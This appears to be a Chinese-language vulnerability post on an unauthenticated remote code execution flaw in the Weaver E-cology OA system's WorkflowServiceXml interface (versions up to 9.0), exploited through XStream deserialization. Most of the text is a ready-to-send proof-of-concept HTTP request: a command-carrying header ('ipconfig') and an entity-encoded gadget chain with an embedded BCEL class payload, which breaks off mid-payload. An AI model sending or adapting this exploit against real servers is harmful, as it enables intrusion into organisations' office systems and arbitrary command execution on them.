E-cology WorkflowServiceXml远程代码执行

admin 2021年10月2日08:49:37评论1,051 views字数 45459阅读151分31秒阅读模式

0x01  漏洞介绍



E-cology是泛微的大中型企业平台型产品,它依托全新的设计理念,全新的管理思想为中大型组织创建全新的高效协同办公环境。e-cologyOA系统不止可以在PC端办公,还有APP手机端,web移动端,Pad移动端,微信集成快速推动全面移动办公。

E-cology WorkflowServiceXml远程代码执行

泛微E-cology OA系统的WorkflowServiceXml接口存在未授权访问漏洞,远程攻击者可以在未授权情况下调用该接口,通过构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程代码执行。远程代码执行的漏洞实际上是XStream的远程代码执行漏洞,本POC参考:CVE_2021_21350


0x02  漏洞编号



暂无


0x03  漏洞等级



漏洞等级:严重



0x04 影响范围



e-cology <= 9.0


0x05 漏洞POC



POST /services%20/WorkflowServiceXml HTTP/1.1Host: 10.211.55.18User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SEAccept: */*Connection: closeContent-Type: text/xml;charset=UTF-8potats0: ipconfigContent-Length: 36875

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> <web:doCreateWorkflowRequest> <web:string>&#60;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&#32;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#99;&#117;&#115;&#116;&#111;&#109;&#39;&#62;&#10;&#32;&#32;&#60;&#117;&#110;&#115;&#101;&#114;&#105;&#97;&#108;&#105;&#122;&#97;&#98;&#108;&#101;&#45;&#112;&#97;&#114;&#101;&#110;&#116;&#115;&#47;&#62;&#10;&#32;&#32;&#60;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#60;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#115;&#105;&#122;&#101;&#62;&#50;&#60;&#47;&#115;&#105;&#122;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#111;&#109;&#112;&#97;&#114;&#97;&#116;&#111;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#106;&#97;&#118;&#97;&#102;&#120;&#46;&#99;&#111;&#108;&#108;&#101;&#99;&#116;&#105;&#111;&#110;&#115;&#46;&#79;&#98;&#115;&#101;&#114;&#118;&#97;&#98;&#108;&#101;&#76;&#105;&#115;&#116;&#36;&#49;&#39;&#47;&#62;&#10;&#32;&#32;&#32;&#32;&#60;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#60;&#105;&#110;&#116;&#62;&#51;&#60;&#47;&#105;&#110;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#60;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#98;&#105;&#110;&#100;&#46;&#118;&#50;&#46;&#114;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#117;&#110;&#109;&#97;&#114;&#115;&#104;&#97;&#108;&#108;&#101;&#114;&#46;&#66;&#97;&#115;&#101;&#54;&#52;&#68;&#97;&#116;&#97;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#97;&#116;&#97;&#72;&#97;&#110;&#100;&#108;&#101;&#114;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#100;&#97;&#116;&#97;&#83;&#111;&#117;&#114;&#99;&#101;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#120;&#109;&#108;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#119;&#115;&#46;&#101;&#110;&#99;&#111;&#100;&#105;&#110;&#103;&#46;&#120;&#109;&#108;&#46;&#88;&#77;&#76;&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#36;&#88;&#109;&#108;&#68;&#97;&#116;&#97;&#83;&#111;&#117;&#114;&#99;&#101;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#84;&#121;&#112;&#101;&#62;&#116;&#101;&#120;&#116;&#47;&#112;&#108;&#97;&#105;&#110;&#60;&#47;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#84;&#121;&#112;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#105;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#83;&#101;&#113;&#117;&#101;&#110;&#99;&#101;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#101;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#106;&#97;&#118;&#97;&#120;&#46;&#115;&#119;&#105;&#110;&#103;&#46;&#77;&#117;&#108;&#116;&#105;&#85;&#73;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#115;&#36;&#77;&#117;&#108;&#116;&#105;&#85;&#73;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#115;&#69;&#110;&#117;&#109;&#101;&#114;&#97;&#116;&#111;&#114;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#105;&#116;&#101;&#114;&#97;&#116;&#111;&#114;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#116;&#111;&#111;&#108;&#115;&#46;&#106;&#97;&#118;&#97;&#99;&#46;&#112;&#114;&#111;&#99;&#101;&#115;&#115;&#105;&#110;&#103;&#46;&#74;&#97;&#118;&#97;&#99;&#80;&#114;&#111;&#99;&#101;&#115;&#115;&#105;&#110;&#103;&#69;&#110;&#118;&#105;&#114;&#111;&#110;&#109;&#101;&#110;&#116;&#36;&#78;&#97;&#109;&#101;&#80;&#114;&#111;&#99;&#101;&#115;&#115;&#73;&#116;&#101;&#114;&#97;&#116;&#111;&#114;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#110;&#97;&#109;&#101;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#65;&#98;&#115;&#116;&#114;&#97;&#99;&#116;&#76;&#105;&#115;&#116;&#36;&#73;&#116;&#114;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#99;&#117;&#114;&#115;&#111;&#114;&#62;&#48;&#60;&#47;&#99;&#117;&#114;&#115;&#111;&#114;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#108;&#97;&#115;&#116;&#82;&#101;&#116;&#62;&#45;&#49;&#60;&#47;&#108;&#97;&#115;&#116;&#82;&#101;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#101;&#120;&#112;&#101;&#99;&#116;&#101;&#100;&#77;&#111;&#100;&#67;&#111;&#117;&#110;&#116;&#62;&#48;&#60;&#47;&#101;&#120;&#112;&#101;&#99;&#116;&#101;&#100;&#77;&#111;&#100;&#67;&#111;&#117;&#110;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#111;&#117;&#116;&#101;&#114;&#45;&#99;&#108;&#97;&#115;&#115;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#65;&#114;&#114;&#97;&#121;&#115;&#36;&#65;&#114;&#114;&#97;&#121;&#76;&#105;&#115;&#116;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#97;&#32;&#99;&#108;&#97;&#115;&#115;&#61;&#39;&#115;&#116;&#114;&#105;&#110;&#103;&#45;&#97;&#114;&#114;&#97;&#121;&#39;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#115;&#116;&#114;&#105;&#110;&#103;&#62;&#36;&#36;&#66;&#67;&#69;&#76;&#36;&#36;&#36;&#108;&#36;&#56;&#98;&#36;&#73;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#65;&#36;&#56;&#100;&#86;&#36;&#100;&#57;&#87;&#36;&#84;&#87;&#36;&#105;&#36;&#102;&#101;&#36;&#71;&#36;&#67;&#51;&#36;&#77;&#36;&#99;&#51;&#98;&#36;&#81;&#97;&#36;&#53;&#99;&#36;&#98;&#49;&#117;&#36;&#74;&#36;&#119;&#36;&#99;&#49;&#36;&#101;&#101;&#36;&#86;&#36;&#97;&#57;&#36;&#86;&#65;&#36;&#53;&#99;&#36;&#103;&#36;&#100;&#48;&#36;&#103;&#36;&#56;&#97;&#36;&#86;&#109;&#36;&#101;&#100;&#48;&#36;&#53;&#99;&#36;&#54;&#48;&#36;&#109;&#36;&#99;&#99;&#36;&#99;&#52;&#36;&#99;&#57;&#68;&#36;&#57;&#48;&#36;&#36;&#118;&#36;&#98;&#51;&#36;&#57;&#98;&#36;&#100;&#100;&#119;&#107;&#36;&#98;&#55;&#36;&#57;&#55;&#36;&#107;&#95;&#36;&#100;&#98;&#36;&#51;&#101;&#68;&#79;&#36;&#55;&#98;&#36;&#100;&#97;&#36;&#100;&#51;&#36;&#56;&#55;&#36;&#98;&#101;&#36;&#100;&#56;&#83;&#36;&#108;&#36;&#100;&#97;&#36;&#51;&#102;&#36;&#97;&#56;&#36;&#102;&#54;&#36;&#98;&#98;&#36;&#57;&#51;&#36;&#52;&#48;&#36;&#74;&#36;&#56;&#57;&#36;&#100;&#97;&#36;&#57;&#99;&#36;&#57;&#51;&#36;&#55;&#98;&#36;&#101;&#55;&#36;&#102;&#101;&#36;&#101;&#101;&#111;&#36;&#98;&#98;&#36;&#98;&#102;&#36;&#101;&#102;&#36;&#98;&#98;&#36;&#98;&#102;&#36;&#57;&#57;&#36;&#51;&#102;&#36;&#102;&#101;&#36;&#102;&#57;&#36;&#101;&#57;&#87;&#36;&#65;&#36;&#102;&#55;&#36;&#101;&#51;&#36;&#53;&#98;&#36;&#106;&#36;&#71;&#36;&#83;&#36;&#51;&#97;&#36;&#71;&#48;&#36;&#97;&#56;&#36;&#101;&#49;&#36;&#56;&#56;&#36;&#57;&#99;&#36;&#56;&#102;&#36;&#101;&#97;&#120;&#36;&#105;&#36;&#99;&#55;&#36;&#101;&#52;&#36;&#57;&#48;&#36;&#100;&#52;&#48;&#36;&#97;&#52;&#36;&#101;&#51;&#36;&#74;&#36;&#77;&#107;&#56;&#36;&#97;&#101;&#36;&#101;&#50;&#73;&#36;&#106;&#36;&#51;&#97;&#78;&#36;&#97;&#56;&#36;&#89;&#36;&#100;&#49;&#113;&#36;&#83;&#36;&#97;&#55;&#36;&#97;&#52;&#36;&#100;&#57;&#83;&#82;&#36;&#102;&#50;&#36;&#98;&#52;&#36;&#56;&#54;&#36;&#100;&#51;&#114;&#36;&#55;&#101;&#70;&#36;&#56;&#55;&#36;&#56;&#53;&#81;&#57;&#36;&#100;&#56;&#36;&#103;&#36;&#99;&#54;&#84;&#36;&#73;&#36;&#78;&#36;&#101;&#51;&#36;&#51;&#97;&#36;&#57;&#97;&#49;&#36;&#97;&#49;&#97;&#82;&#36;&#56;&#53;&#36;&#97;&#51;&#97;&#74;&#36;&#99;&#53;&#36;&#98;&#52;&#36;&#56;&#101;&#36;&#85;&#102;&#116;&#36;&#97;&#99;&#36;&#56;&#49;&#36;&#97;&#98;&#36;&#99;&#49;&#36;&#57;&#51;&#115;&#90;&#36;&#79;&#103;&#36;&#101;&#52;&#36;&#101;&#48;&#107;&#36;&#99;&#56;&#36;&#97;&#56;&#36;&#73;&#116;&#36;&#100;&#99;&#36;&#56;&#100;&#36;&#97;&#99;&#36;&#56;&#97;&#36;&#98;&#51;&#36;&#75;&#36;&#97;&#97;&#36;&#98;&#98;&#36;&#106;&#36;&#100;&#55;&#36;&#74;&#36;&#102;&#54;&#36;&#117;&#36;&#97;&#56;&#36;&#56;&#99;&#36;&#98;&#53;&#36;&#80;&#36;&#120;&#36;&#56;&#56;&#36;&#102;&#52;&#122;&#99;&#66;&#65;&#67;&#36;&#99;&#50;&#113;&#36;&#99;&#53;&#36;&#54;&#48;&#118;&#102;&#84;&#36;&#102;&#56;&#67;&#36;&#100;&#54;&#104;&#36;&#56;&#97;&#36;&#57;&#50;&#104;&#36;&#99;&#50;&#36;&#98;&#51;&#36;&#97;&#100;&#36;&#100;&#52;&#36;&#98;&#48;&#36;&#101;&#53;&#36;&#51;&#98;&#114;&#36;&#98;&#100;&#36;&#109;&#36;&#77;&#36;&#101;&#99;&#116;&#36;&#99;&#54;&#36;&#98;&#51;&#36;&#97;&#55;&#69;&#36;&#52;&#48;&#36;&#102;&#100;&#36;&#101;&#57;&#36;&#100;&#101;&#36;&#57;&#52;&#53;&#36;&#51;&#102;&#36;&#97;&#102;&#36;&#54;&#48;&#69;&#98;&#36;&#99;&#97;&#36;&#51;&#97;&#107;&#117;&#36;&#97;&#54;&#36;&#121;&#119;&#36;&#97;&#50;&#36;&#57;&#51;&#36;&#97;&#50;&#76;&#102;&#55;&#36;&#86;&#36;&#116;&#68;&#36;&#100;&#48;&#36;&#57;&#98;&#36;&#102;&#53;&#36;&#55;&#100;&#36;&#101;&#49;&#36;&#71;&#36;&#99;&#55;&#36;&#99;&#52;&#36;&#57;&#57;&#36;&#97;&#99;&#36;&#99;&#56;&#36;&#69;&#36;&#68;&#36;&#75;&#86;&#36;&#95;&#81;&#36;&#102;&#52;&#36;&#99;&#53;&#120;&#74;&#36;&#100;&#56;&#65;&#36;&#101;&#55;&#36;&#56;&#48;&#36;&#73;&#36;&#115;&#36;&#98;&#100;&#49;&#90;&#36;&#100;&#52;&#36;&#100;&#98;&#69;&#36;&#101;&#97;&#50;&#36;&#56;&#49;&#36;&#102;&#102;&#36;&#98;&#52;&#36;&#56;&#102;&#36;&#56;&#99;&#78;&#81;&#36;&#57;&#57;&#90;&#36;&#99;&#97;&#36;&#98;&#56;&#36;&#67;&#36;&#98;&#51;&#36;&#56;&#99;&#36;&#57;&#98;&#36;&#55;&#101;&#71;&#36;&#97;&#52;&#36;&#97;&#52;&#36;&#88;&#36;&#99;&#100;&#36;&#88;&#36;&#57;&#57;&#36;&#98;&#52;&#36;&#101;&#55;&#102;&#36;&#57;&#56;&#36;&#97;&#98;&#36;&#99;&#101;&#36;&#85;&#36;&#56;&#101;&#36;&#102;&#98;&#78;&#36;&#109;&#36;&#55;&#99;&#36;&#56;&#54;&#86;&#102;&#36;&#86;&#52;&#36;&#101;&#54;&#36;&#101;&#100;&#36;&#105;&#36;&#97;&#102;&#51;&#36;&#95;&#36;&#100;&#101;&#36;&#57;&#100;&#36;&#100;&#55;&#57;&#36;&#117;&#36;&#97;&#99;&#36;&#98;&#49;&#80;&#36;&#97;&#55;&#36;&#100;&#50;&#36;&#57;&#101;&#36;&#90;&#36;&#120;&#36;&#79;&#36;&#57;&#98;&#36;&#77;&#36;&#55;&#99;&#36;&#99;&#55;&#36;&#57;&#100;&#36;&#57;&#48;&#97;&#51;&#36;&#75;&#36;&#57;&#97;&#36;&#102;&#50;&#36;&#104;&#36;&#100;&#57;&#36;&#99;&#48;&#73;&#117;&#36;&#115;&#109;&#36;&#99;&#98;&#117;&#67;&#36;&#80;&#36;&#75;&#36;&#112;&#53;&#36;&#95;&#49;&#36;&#100;&#57;&#36;&#51;&#102;&#103;&#36;&#56;&#98;&#116;&#36;&#101;&#48;&#120;&#36;&#36;&#36;&#102;&#55;&#36;&#111;&#36;&#99;&#49;&#36;&#97;&#52;&#67;&#36;&#99;&#51;&#36;&#57;&#97;&#36;&#99;&#52;&#120;&#36;&#100;&#54;&#36;&#57;&#101;&#36;&#51;&#101;&#36;&#101;&#55;&#101;&#36;&#118;&#36;&#97;&#97;&#75;&#36;&#71;&#36;&#57;&#54;&#36;&#51;&#100;&#36;&#51;&#100;&#36;&#54;&#48;&#36;&#97;&#53;&#36;&#99;&#51;&#36;&#56;&#50;&#36;&#83;&#36;&#81;&#36;&#83;&#36;&#52;&#48;&#36;&#99;&#53;&#36;&#121;&#36;&#101;&#49;&#87;&#49;&#71;&#116;&#36;&#74;&#36;&#118;&#36;&#102;&#49;&#36;&#113;&#36;&#54;&#48;&#36;&#99;&#99;&#36;&#122;&#36;&#101;&#57;&#101;&#36;&#55;&#100;&#36;&#53;&#98;&#36;&#102;&#52;&#36;&#51;&#98;&#36;&#98;&#50;&#36;&#102;&#48;&#70;&#36;&#99;&#49;&#69;&#36;&#53;&#99;&#70;&#50;&#36;&#98;&#48;&#36;&#70;&#36;&#53;&#98;&#85;&#36;&#57;&#99;&#51;&#48;&#36;&#56;&#102;&#103;&#36;&#90;&#36;&#56;&#54;&#56;&#36;&#100;&#57;&#36;&#71;&#36;&#57;&#101;&#36;&#99;&#51;&#36;&#102;&#51;&#36;&#119;&#36;&#53;&#101;&#48;&#112;&#36;&#107;&#36;&#95;&#36;&#103;&#120;&#36;&#74;&#36;&#95;&#36;&#120;&#36;&#100;&#56;&#106;&#36;&#55;&#98;&#51;&#113;&#36;&#100;&#98;&#36;&#99;&#97;&#36;&#100;&#97;&#36;&#57;&#51;&#36;&#53;&#101;&#36;&#100;&#99;&#36;&#86;&#36;&#99;&#49;&#36;&#97;&#99;&#36;&#101;&#55;&#79;&#36;&#99;&#55;&#83;&#78;&#36;&#115;&#36;&#81;&#110;&#36;&#55;&#99;&#36;&#99;&#56;&#78;&#36;&#116;&#36;&#88;&#113;&#84;&#36;&#102;&#49;&#36;&#56;&#97;&#36;&#56;&#49;&#87;&#113;&#36;&#56;&#49;&#80;&#36;&#57;&#54;&#36;&#99;&#48;&#70;&#106;&#36;&#121;&#67;&#36;&#100;&#55;&#36;&#99;&#48;&#107;&#120;&#36;&#57;&#100;&#36;&#100;&#53;&#36;&#53;&#99;&#36;&#56;&#101;&#36;&#79;&#36;&#56;&#102;&#97;&#36;&#101;&#48;&#36;&#78;&#36;&#98;&#99;&#105;&#36;&#101;&#48;&#36;&#122;&#36;&#53;&#99;&#52;&#36;&#102;&#48;&#54;&#36;&#36;&#36;&#100;&#50;&#36;&#102;&#54;&#36;&#102;&#52;&#36;&#67;&#36;&#107;&#36;&#102;&#100;&#36;&#57;&#54;&#36;&#99;&#100;&#50;&#36;&#104;&#120;&#36;&#72;&#36;&#101;&#102;&#36;&#102;&#50;&#36;&#97;&#52;&#36;&#71;&#36;&#100;&#101;&#36;&#99;&#51;&#36;&#102;&#98;&#36;&#71;&#36;&#51;&#101;&#36;&#99;&#48;&#36;&#56;&#55;&#36;&#121;&#36;&#99;&#102;&#36;&#111;&#78;&#36;&#113;&#65;&#49;&#66;&#36;&#75;&#98;&#105;&#111;&#86;&#36;&#102;&#56;&#98;&#36;&#97;&#99;&#109;&#36;&#102;&#52;&#36;&#53;&#99;&#36;&#53;&#98;&#36;&#100;&#97;&#36;&#76;&#36;&#97;&#99;&#36;&#109;&#36;&#101;&#51;&#36;&#98;&#53;&#36;&#57;&#53;&#36;&#102;&#100;&#36;&#90;&#36;&#102;&#56;&#36;&#73;&#36;&#108;&#36;&#101;&#55;&#36;&#57;&#100;&#36;&#101;&#53;&#36;&#66;&#36;&#122;&#36;&#99;&#97;&#48;&#36;&#80;&#36;&#97;&#52;&#36;&#67;&#53;&#36;&#101;&#102;&#99;&#36;&#116;&#79;&#90;&#36;&#67;&#36;&#97;&#54;&#36;&#56;&#97;&#79;&#36;&#77;&#36;&#55;&#99;&#36;&#56;&#97;&#36;&#99;&#102;&#100;&#117;&#36;&#51;&#102;&#87;&#80;&#113;&#36;&#97;&#97;&#36;&#99;&#55;&#36;&#99;&#48;&#36;&#114;&#36;&#55;&#99;&#97;&#36;&#101;&#48;&#50;&#36;&#98;&#101;&#52;&#36;&#102;&#48;&#36;&#86;&#36;&#98;&#101;&#86;&#36;&#65;&#36;&#98;&#50;&#36;&#97;&#48;&#36;&#77;&#36;&#100;&#52;&#36;&#71;&#36;&#98;&#101;&#36;&#99;&#49;&#86;&#36;&#51;&#97;&#36;&#95;&#36;&#54;&#48;&#36;&#97;&#52;&#36;&#97;&#48;&#36;&#102;&#53;&#86;&#36;&#51;&#99;&#87;&#36;&#100;&#48;&#114;&#36;&#76;&#36;&#101;&#101;&#36;&#36;&#100;&#36;&#85;&#36;&#101;&#101;&#36;&#105;&#36;&#99;&#98;&#36;&#98;&#97;&#36;&#56;&#49;&#51;&#83;&#36;&#101;&#48;&#36;&#102;&#48;&#36;&#101;&#50;&#36;&#97;&#50;&#57;&#36;&#100;&#54;&#36;&#57;&#101;&#36;&#117;&#36;&#100;&#49;&#36;&#57;&#49;&#52;&#36;&#84;&#115;&#36;&#99;&#50;&#36;&#115;&#36;&#100;&#97;&#36;&#98;&#49;&#82;&#36;&#101;&#54;&#36;&#36;&#53;&#56;&#36;&#101;&#97;&#36;&#55;&#98;&#36;&#98;&#54;&#36;&#73;&#36;&#95;&#36;&#101;&#55;&#36;&#57;&#50;&#36;&#99;&#50;&#36;&#77;&#77;&#36;&#102;&#97;&#36;&#97;&#99;&#36;&#87;&#121;&#89;&#36;&#98;&#56;&#36;&#55;&#100;&#36;&#76;&#36;&#101;&#98;&#36;&#57;&#53;&#69;&#36;&#98;&#49;&#36;&#102;&#50;&#82;&#90;&#54;&#75;&#36;&#55;&#101;&#120;&#110;&#36;&#109;&#36;&#101;&#54;&#36;&#56;&#50;&#36;&#57;&#48;&#36;&#76;&#36;&#74;&#36;&#95;&#95;&#106;&#36;&#98;&#51;&#72;&#36;&#55;&#100;&#36;&#99;&#57;&#36;&#57;&#54;&#36;&#98;&#52;&#36;&#118;&#36;&#98;&#98;&#65;&#36;&#97;&#56;&#82;&#36;&#55;&#99;&#36;&#73;&#36;&#114;&#36;&#75;&#54;&#36;&#100;&#102;&#36;&#110;&#36;&#102;&#55;&#36;&#56;&#53;&#36;&#98;&#54;&#36;&#111;&#36;&#101;&#49;&#36;&#53;&#100;&#36;&#97;&#56;&#36;&#101;&#52;&#36;&#100;&#101;&#50;&#54;&#36;&#116;&#75;&#108;&#36;&#100;&#97;&#111;&#36;&#100;&#55;&#115;&#36;&#97;&#97;&#36;&#106;&#36;&#102;&#55;&#36;&#97;&#99;&#55;&#36;&#99;&#100;&#36;&#100;&#50;&#36;&#101;&#101;&#36;&#56;&#97;&#36;&#57;&#53;&#54;&#36;&#57;&#98;&#36;&#57;&#51;&#36;&#97;&#53;&#36;&#97;&#50;&#36;&#102;&#54;&#114;&#36;&#122;&#73;&#36;&#57;&#51;&#53;&#36;&#99;&#57;&#36;&#108;&#36;&#97;&#51;&#36;&#97;&#57;&#36;&#98;&#52;&#36;&#77;&#36;&#102;&#50;&#36;&#99;&#101;&#83;&#36;&#110;&#36;&#57;&#57;&#77;&#36;&#76;&#36;&#100;&#102;&#36;&#99;&#101;&#107;&#53;&#114;&#36;&#100;&#100;&#36;&#116;&#36;&#98;&#56;&#36;&#109;&#36;&#97;&#102;&#36;&#76;&#36;&#100;&#56;&#119;&#36;&#100;&#99;&#36;&#101;&#49;&#36;&#102;&#99;&#36;&#99;&#98;&#36;&#100;&#98;&#36;&#53;&#99;&#36;&#53;&#100;&#70;&#36;&#69;&#36;&#51;&#100;&#36;&#98;&#54;&#36;&#56;&#52;&#36;&#100;&#51;&#36;&#74;&#36;&#102;&#98;&#114;&#36;&#113;&#54;&#36;&#111;&#36;&#57;&#98;&#121;&#36;&#114;&#36;&#51;&#100;&#36;&#120;&#36;&#100;&#56;&#82;&#36;&#101;&#54;&#48;&#101;&#51;&#36;&#97;&#102;&#36;&#57;&#97;&#36;&#57;&#53;&#36;&#98;&#55;&#76;&#36;&#83;&#36;&#97;&#98;&#76;&#36;&#102;&#52;&#36;&#101;&#49;&#36;&#111;&#70;&#36;&#87;&#36;&#99;&#56;&#36;&#99;&#51;&#36;&#104;&#36;&#99;&#97;&#36;&#81;&#36;&#56;&#55;&#36;&#100;&#99;&#116;&#54;&#36;&#97;&#48;&#36;&#57;&#101;&#36;&#98;&#48;&#102;&#72;&#36;&#101;&#56;&#36;&#56;&#53;&#51;&#36;&#102;&#51;&#36;&#100;&#54;&#36;&#36;&#36;&#100;&#57;&#36;&#97;&#48;&#36;&#102;&#98;&#36;&#100;&#54;&#88;&#36;&#100;&#57;&#36;&#78;&#36;&#101;&#57;&#36;&#100;&#57;&#36;&#99;&#56;&#102;&#68;&#36;&#57;&#102;&#72;&#57;&#51;&#36;&#102;&#57;&#36;&#53;&#98;&#36;&#55;&#101;&#36;&#104;&#36;&#101;&#97;&#36;&#36;&#107;&#36;&#98;&#55;&#36;&#101;&#97;&#36;&#97;&#52;&#36;&#57;&#53;&#36;&#90;&#36;&#113;&#36;&#102;&#98;&#36;&#99;&#50;&#36;&#100;&#55;&#36;&#100;&#55;&#36;&#73;&#36;&#80;&#36;&#101;&#101;&#36;&#56;&#54;&#36;&#56;&#98;&#98;&#36;&#98;&#97;&#36;&#36;&#36;&#98;&#54;&#36;&#101;&#100;&#36;&#56;&#54;&#52;&#36;&#108;&#36;&#56;&#50;&#36;&#98;&#48;&#36;&#101;&#53;&#36;&#79;&#36;&#102;&#57;&#36;&#57;&#54;&#36;&#122;&#36;&#98;&#48;&#36;&#82;&#36;&#57;&#98;&#36;&#102;&#57;&#36;&#56;&#50;&#36;&#57;&#53;&#36;&#51;&#102;&#118;&#110;&#36;&#100;&#57;&#69;&#57;&#36;&#99;&#54;&#36;&#56;&#48;&#36;&#56;&#97;&#118;&#84;&#36;&#97;&#51;&#36;&#57;&#54;&#36;&#100;&#50;&#36;&#98;&#102;&#36;&#98;&#55;&#36;&#53;&#100;&#36;&#56;&#53;&#114;&#36;&#78;&#36;&#86;&#36;&#100;&#49;&#36;&#99;&#97;&#36;&#105;&#36;&#111;&#36;&#99;&#55;&#36;&#97;&#102;&#36;&#97;&#49;&#36;&#119;&#36;&#56;&#55;&#36;&#101;&#97;&#36;&#97;&#56;&#36;&#57;&#97;&#36;&#56;&#51;&#36;&#57;&#54;&#36;&#100;&#56;&#36;&#107;&#36;&#97;&#100;&#36;&#97;&#57;&#36;&#102;&#99;&#36;&#70;&#122;&#36;&#79;&#36;&#98;&#53;&#36;&#68;&#36;&#51;&#98;&#36;&#85;&#36;&#51;&#101;&#36;&#90;&#57;&#36;&#100;&#52;&#36;&#78;&#118;&#36;&#101;&#52;&#80;&#36;&#57;&#102;&#67;&#67;&#36;&#98;&#52;&#49;&#36;&#56;&#55;&#36;&#86;&#36;&#53;&#100;&#36;&#82;&#51;&#36;&#83;&#36;&#99;&#57;&#36;&#110;&#106;&#70;&#36;&#117;&#109;&#36;&#101;&#97;&#36;&#97;&#97;&#50;&#105;&#36;&#53;&#98;&#36;&#108;&#36;&#53;&#100;&#89;&#48;&#36;&#101;&#97;&#36;&#97;&#97;&#54;&#36;&#97;&#98;&#36;&#99;&#100;&#36;&#97;&#97;&#36;&#56;&#50;&#36;&#100;&#100;&#111;&#104;&#36;&#101;&#101;&#82;&#77;&#53;&#36;&#98;&#97;&#36;&#119;&#36;&#56;&#55;&#36;&#87;&#36;&#101;&#57;&#36;&#111;&#36;&#100;&#97;&#36;&#103;&#36;&#97;&#49;&#36;&#100;&#54;&#36;&#56;&#57;&#36;&#99;&#97;&#36;&#97;&#56;&#36;&#57;&#57;&#36;&#57;&#52;&#36;&#97;&#97;&#36;&#57;&#97;&#36;&#97;&#57;&#117;&#80;&#36;&#54;&#48;&#80;&#36;&#98;&#48;&#36;&#51;&#97;&#36;&#90;&#36;&#97;&#97;&#36;&#57;&#98;&#36;&#53;&#100;&#53;&#36;&#51;&#102;&#99;&#36;&#99;&#100;&#36;&#74;&#36;&#115;&#102;&#36;&#100;&#54;&#48;&#36;&#98;&#49;&#36;&#105;&#36;&#100;&#54;&#36;&#53;&#101;&#36;&#99;&#53;&#36;&#98;&#97;&#36;&#101;&#56;&#36;&#102;&#97;&#36;&#105;&#54;&#116;&#36;&#101;&#57;&#36;&#97;&#54;&#106;&#50;&#36;&#52;&#48;&#36;&#100;&#98;&#36;&#114;&#36;&